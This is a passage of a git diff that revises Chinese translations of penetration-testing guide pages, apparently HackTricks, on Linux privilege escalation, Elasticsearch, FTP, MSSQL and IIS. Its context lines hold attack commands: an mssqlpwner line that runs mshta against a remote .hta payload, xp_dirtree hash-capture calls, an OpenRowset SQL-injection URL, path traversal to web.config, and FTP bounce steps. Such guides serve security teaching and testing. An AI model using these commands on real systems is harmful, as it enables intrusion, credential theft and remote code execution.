'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了**读取日志,组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有帮助。 +为了**读取日志,组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有用。 ### Shell 文件 ```bash @@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s 网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 上由网络管理器(dispatcher.d)进行 \~sourced\~。 -在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 +在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空白/空格,系统会尝试执行空白/空格后面的部分**。这意味着 **第一个空格后面的所有内容都以 root 身份执行**。 例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1360,7 +1360,7 @@ DEVICE=eth0 另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容性层,SysVinit 脚本仍与 Upstart 配置一起使用。 -**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发包和 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。 +**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。 ## 其他技巧 @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## 参考文献 -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 7292c8ce9..11097bc60 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -113,8 +113,8 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 _花点时间比较银行索引中每个文档(条目)的内容以及我们在上一节中看到的该索引的字段。_ 因此,此时您可能会注意到**在“hits”中有一个名为“total”的字段**,它表示**在此索引中找到了1000个文档**,但仅检索了10个。这是因为**默认情况下限制为10个文档**。\ -但是,现在您知道**此索引包含1000个文档**,您可以**转储所有文档**,在**`size`**参数中指明要转储的条目数:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_注意:如果您指明更大的数字,所有条目仍将被转储,例如您可以指明`size=9999`,如果有更多条目会很奇怪(但您应该检查)。_ +但是,现在您知道**该索引包含1000个文档**,您可以**转储所有文档**,在**`size`**参数中指明要转储的条目数:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ +\_注意:如果您指明更大的数字,所有条目仍将被转储,例如您可以指明`size=9999`,如果有更多条目会很奇怪(但您应该检查)。_ ### 转储所有 @@ -123,15 +123,15 @@ _花点时间比较银行索引中每个文档(条目)的内容以及我们 ### 搜索 -如果您正在寻找某些信息,可以在所有索引上进行**原始搜索**,访问`http://host:9200/_search?pretty=true&q=`,例如`http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +如果您正在寻找某些信息,可以对所有索引进行**原始搜索**,访问`http://host:9200/_search?pretty=true&q=`,例如`http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` ![](<../images/image (335).png>) -如果您只想**在一个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200//_search?pretty=true&q=` +如果您只想**在某个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200//_search?pretty=true&q=` -_请注意,用于搜索内容的q参数**支持正则表达式**_ +_注意,q参数用于搜索内容**支持正则表达式**_ -您还可以使用类似[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)的工具来模糊测试elasticsearch服务。 +您还可以使用类似[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)的工具对elasticsearch服务进行模糊测试。 ### 写权限 diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index d4659f6a4..54a41c7b7 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -14,11 +14,11 @@ PORT STATE SERVICE ``` ### 连接主动与被动 -在 **主动 FTP** 中,FTP **客户端**首先从其端口 N 向 FTP 服务器的命令端口 - 端口 21 **发起**控制 **连接**。然后,**客户端**监听端口 **N+1** 并将端口 N+1 发送给 FTP 服务器。FTP **服务器**随后从 **其端口 M 到 FTP 客户端的端口 N+1** **发起**数据 **连接**。 +在 **主动 FTP** 中,FTP **客户端**首先从其端口 N 向 FTP 服务器的命令端口 - 端口 21 **发起**控制 **连接**。然后,**客户端**监听端口 **N+1** 并将端口 N+1 发送给 FTP 服务器。FTP **服务器**随后从 **其端口 M 向 FTP 客户端的端口 N+1** **发起**数据 **连接**。 但是,如果 FTP 客户端设置了防火墙以控制来自外部的传入数据连接,则主动 FTP 可能会成为一个问题。对此的可行解决方案是被动 FTP。 -在 **被动 FTP** 中,客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后,客户端发出 **passv 命令**。服务器随后将其端口号 M 发送给客户端。然后,**客户端**从 **其端口 P 到 FTP 服务器的端口 M** **发起**数据 **连接**。 +在 **被动 FTP** 中,客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后,客户端发出 **passv 命令**。服务器随后将其端口号 M 发送给客户端。然后,**客户端**从 **其端口 P 向 FTP 服务器的端口 M** **发起**数据 **连接**。 来源: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -88,8 +88,8 @@ STAT ### 匿名登录 _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -101,11 +101,11 @@ ftp ``` ### [暴力破解](../../generic-hacking/brute-force.md#ftp) -这里可以找到一个包含默认ftp凭据的不错列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) +在这里你可以找到一个包含默认ftp凭据的好列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) ### 自动化 -匿名登录和跳转FTP检查默认由nmap使用**-sC**选项执行或: +匿名登录和跳转FTP检查是通过nmap的**-sC**选项默认执行的: ```bash nmap --script ftp-* -p 21 ``` @@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -注意,如果一个 **web application** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**。这些可能的任意操作之一是从用户控制的服务器下载内容、执行端口扫描或尝试与其他基于明文的服务(如 http)进行通信。 +注意,如果一个 **web 应用程序** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**。这些可能的任意操作之一是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如 http)进行通信。 ## 从 FTP 下载所有文件 ```bash @@ -135,7 +135,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接(_由 "2" 指示_)。此命令 **支持 IPv6**。 - **`LIST`** 这将发送当前文件夹中的文件列表 - **`LIST -R`** 递归列出(如果服务器允许) -- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收到的数据存储到文件中。如果文件名存在,它将附加数据。 +- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,它将附加数据。 - **`STOR /path/something.txt`** 类似于 `APPE`,但它将覆盖文件 - **`STOU /path/something.txt`** 类似于 `APPE`,但如果存在则不执行任何操作。 - **`RETR /path/to/file`** 必须建立被动或端口连接。然后,FTP 服务器将通过该连接发送指定的文件 @@ -148,11 +148,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ## FTPBounce 攻击 -一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器您希望在某个端口连接到其他 FTP 服务器。然后,您可以利用此功能扫描主机的哪些端口通过 FTP 服务器是开放的。 +一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器您希望在某个端口连接到其他 FTP 服务器。然后,您可以利用此功能扫描通过 FTP 服务器哪些主机端口是开放的。 [**在这里了解如何滥用 FTP 服务器扫描端口。**](ftp-bounce-attack.md) -您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**(_也许是为了添加一个新的管理员用户?_)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为不同的 FTP 服务器下载文件。\ +您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**(_也许是为了添加一个新的管理员用户?_)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\ 理论很简单: 1. **将请求(放在文本文件中)上传到易受攻击的服务器。** 请记住,如果您想与另一个 HTTP 或 FTP 服务器通信,您需要用 `0x0d 0x0a` 更改行 @@ -160,7 +160,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ 3. **使用 `PORT` 连接到任意服务器和服务** 4. **使用 `RETR` 将保存的请求发送到服务器。** -这很可能会抛出一个错误,如 _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**。尝试避免这种情况的建议包括: +这很可能会抛出一个错误,如 _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**。避免这种情况的建议包括: - 如果您正在发送 HTTP 请求,**将相同的请求一个接一个地放置**,直到 **\~0.5MB** 至少。像这样: @@ -186,7 +186,7 @@ vsftpd.conf ``` ### Post-Exploitation -vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,你可以找到一些危险的设置: +vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里,你可以找到一些危险的设置: - `anonymous_enable=YES` - `anon_upload_enable=YES` @@ -195,7 +195,7 @@ vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,你可 - `chown_uploads=YES` - 更改匿名上传文件的所有权 - `chown_username=username` - 被赋予匿名上传文件所有权的用户 - `local_enable=YES` - 允许本地用户登录 -- `no_anon_password=YES` - 不要求匿名用户输入密码 +- `no_anon_password=YES` - 不要求匿名用户提供密码 - `write_enable=YES` - 允许命令:STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE ### Shodan diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index c4dc40ec1..5a8fc2603 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,31 +6,31 @@ 来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。\\ +> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。 -**默认端口:** 1433 +**默认端口:** 1433 ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` ### **默认 MS-SQL 系统表** -- **master 数据库**: 该数据库至关重要,因为它捕获 SQL Server 实例的所有系统级详细信息。 +- **master 数据库**: 该数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级细节。 - **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。 - **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。 -- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑呈现。 +- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。 - **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。 ## 枚举 ### 自动枚举 -如果您对该服务一无所知: +如果您对该服务一无所知: ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> 如果您**没有** **凭据**,可以尝试猜测它们。您可以使用 nmap 或 metasploit。请小心,如果使用现有用户名多次登录失败,您可能会**锁定账户**。 +> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心,如果你使用现有用户名多次登录失败,你可能会**锁定账户**。 #### Metasploit (需要凭据) ```bash @@ -159,10 +159,10 @@ SELECT * FROM sysusers - **服务器** – 示例包括数据库、登录、端点、可用性组和服务器角色。 - **数据库** – 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。 - **模式** – 包括表、视图、过程、函数、同义词等。 -2. **权限:** 与 SQL Server 可安全性相关,权限如 ALTER、CONTROL 和 CREATE 可以授予主体。权限管理发生在两个级别: +2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE,可以授予主体。权限管理发生在两个层级: - **服务器级别** 使用登录 - **数据库级别** 使用用户 -3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限或将登录和用户包含在具备访问权限的角色中来控制对可安全性的访问。 +3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。对可安全性访问的控制通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来实现。 ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -182,12 +182,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin'); Use master EXEC sp_helprotect 'xp_cmdshell' ``` -## 技巧 +## Tricks -### 执行操作系统命令 +### Execute OS Commands > [!CAUTION] -> 请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还必须对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins)可以使用 **`xp_cmdshell`**: +> 请注意,为了能够执行命令,不仅需要**`xp_cmdshell`** **启用**,还需要对`xp_cmdshell`存储过程具有**EXECUTE权限**。您可以通过以下方式获取谁(除了sysadmins)可以使用**`xp_cmdshell`**: > > ```sql > Use master @@ -234,9 +234,9 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` -### 偷取 NetNTLM 哈希 / 中继攻击 +### Steal NetNTLM hash / Relay attack -您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希(例如 `impacket-smbserver` 或 `responder`)。 +您应该启动一个 **SMB server** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver` 或 `responder`)。 ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' @@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 > ``` 使用工具如 **responder** 或 **Inveigh** 可以 **窃取 NetNTLM 哈希**。\ -您可以查看如何使用这些工具: +您可以在以下链接中查看如何使用这些工具: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **使用** OPENROWSET **读取文件** -默认情况下,`MSSQL` 允许对**操作系统中任何具有读取权限的文件进行读取**。我们可以使用以下 SQL 查询: +默认情况下,`MSSQL` 允许对**账户具有读取权限的操作系统中的任何文件进行读取**。我们可以使用以下 SQL 查询: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -315,13 +315,13 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` -#### 基于错误的SQLi向量: +#### 基于错误的SQL注入向量: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/读取文件执行脚本(Python 和 R)** -MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **不同的用户** 执行,而不是使用 **xp_cmdshell** 来执行命令的用户。 +MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **与使用 **xp_cmdshell** 执行命令的用户不同的用户** 执行。 尝试执行 **'R'** _"Hellow World!"_ **不工作**: @@ -343,17 +343,17 @@ GO ``` ### 读取注册表 -Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** 进行交互:** +Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) 进行交互: -| **常规** | **实例感知** | -| --------------------------- | ------------------------------------ | -| sys.xp_regread | sys.xp_instance_regread | -| sys.xp_regenumvalues | sys.xp_instance_regenumvalues | -| sys.xp_regenumkeys | sys.xp_instance_regenumkeys | -| sys.xp_regwrite | sys.xp_instance_regwrite | -| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue | -| sys.xp_regdeletekey | sys.xp_instance_regdeletekey | -| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring | +| **常规** | **实例感知** | +| --------------------------- | ---------------------------------- | +| sys.xp_regread | sys.xp_instance_regread | +| sys.xp_regenumvalues | sys.xp_instance_regenumvalues | +| sys.xp_regenumkeys | sys.xp_instance_regenumkeys | +| sys.xp_regwrite | sys.xp_instance_regwrite | +| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue | +| sys.xp_regdeletekey | sys.xp_instance_regdeletekey | +| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring | | sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring | ```sql # Example read registry @@ -438,7 +438,7 @@ public void Test() ### 从 db_owner 到 sysadmin -如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**) **执行**。 +如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**)执行。 ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -505,9 +505,9 @@ enum_links use_link [NAME] ``` > [!NOTE] -> 如果您可以模拟一个用户,即使他不是 sysadmin,您应该检查该用户是否可以访问其他数据库或链接服务器。 +> 如果您可以冒充一个用户,即使他不是 sysadmin,您应该检查该用户是否可以访问其他数据库或链接服务器。 -请注意,一旦您成为 sysadmin,您可以模拟任何其他用户: +请注意,一旦您成为 sysadmin,您可以冒充任何其他用户: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -533,7 +533,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## 从 SQL Server 连接服务器提取密码 -攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而使攻击者获得可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract_linked_server_passwords) 找到。 +攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而授予攻击者可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract_linked_server_passwords) 找到。 为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。 diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index c380324c3..103390a19 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -56,18 +56,18 @@ iisfinal.txt ### 泄露源代码 -查看完整的写作内容在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +查看完整的写作在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> 总之,应用程序的文件夹中有多个 web.config 文件,引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\ +> 总结来说,应用程序的文件夹中有多个 web.config 文件,里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\ > 从 **下载的 Dlls** 中,还可以找到 **新的 namespaces**,您应该尝试访问并获取 web.config 文件,以便找到新的 namespaces 和 assemblyIdentity。\ -> 此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。\\ +> 此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。 在 **.Net MVC 应用程序** 中,**web.config** 文件通过 **"assemblyIdentity"** XML 标签指定应用程序所依赖的每个二进制文件,发挥着至关重要的作用。 ### **探索二进制文件** -访问 **web.config** 文件的示例如下所示: +访问 **web.config** 文件的示例如下: ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded @@ -102,7 +102,7 @@ Host: example-mvc-application.minded ``` 这表明在 /bin 目录中存在其他重要的 DLL,例如 **System.Web.Mvc.dll** 和 **System.Web.Optimization.dll**。 -在一个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能推断出在可预测路径中存在其他 web.config 文件,例如 **/area-name/Views/**,其中包含特定的配置和对 /bin 文件夹中其他 DLL 的引用。例如,对 **/Minded/Views/web.config** 的请求可以揭示配置和命名空间,表明存在另一个 DLL **WebApplication1.AdditionalFeatures.dll**。 +在一个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能会推断出在可预测路径中存在其他 web.config 文件,例如 **/area-name/Views/**,其中包含特定的配置和对 /bin 文件夹中其他 DLL 的引用。例如,对 **/Minded/Views/web.config** 的请求可以揭示配置和命名空间,指示另一个 DLL **WebApplication1.AdditionalFeatures.dll** 的存在。 ### 常见文件 @@ -185,27 +185,27 @@ C:\xampp\tomcat\conf\server.xml ``` ## HTTPAPI 2.0 404 错误 -如果您看到以下错误: +如果你看到如下错误: ![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) 这意味着服务器**没有在 Host 头中接收到正确的域名**。\ -为了访问网页,您可以查看提供的**SSL 证书**,也许可以在其中找到域名/子域名。如果没有,您可能需要**暴力破解 VHosts**,直到找到正确的。 +为了访问网页,你可以查看提供的**SSL 证书**,也许可以在其中找到域名/子域名。如果没有,你可能需要**暴力破解 VHosts**,直到找到正确的。 ## 值得关注的旧 IIS 漏洞 ### Microsoft IIS 波浪字符“\~”漏洞/特性 – 短文件/文件夹名称泄露 -您可以尝试使用此**技术**来**枚举每个发现的文件夹和文件**(即使它需要基本身份验证)。\ -如果服务器存在漏洞,此技术的主要限制是**它只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。 +你可以尝试使用此**技术**来**枚举文件夹和文件**,即使它需要基本身份验证。\ +如果服务器存在漏洞,这种技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。 -您可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +你可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) 原始研究:[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) -您还可以使用**metasploit**:`use scanner/http/iis_shortname_scanner` +你也可以使用**metasploit**:`use scanner/http/iis_shortname_scanner` 一个不错的主意是**找到发现文件的最终名称**,可以**询问 LLMs** 选项,就像在脚本 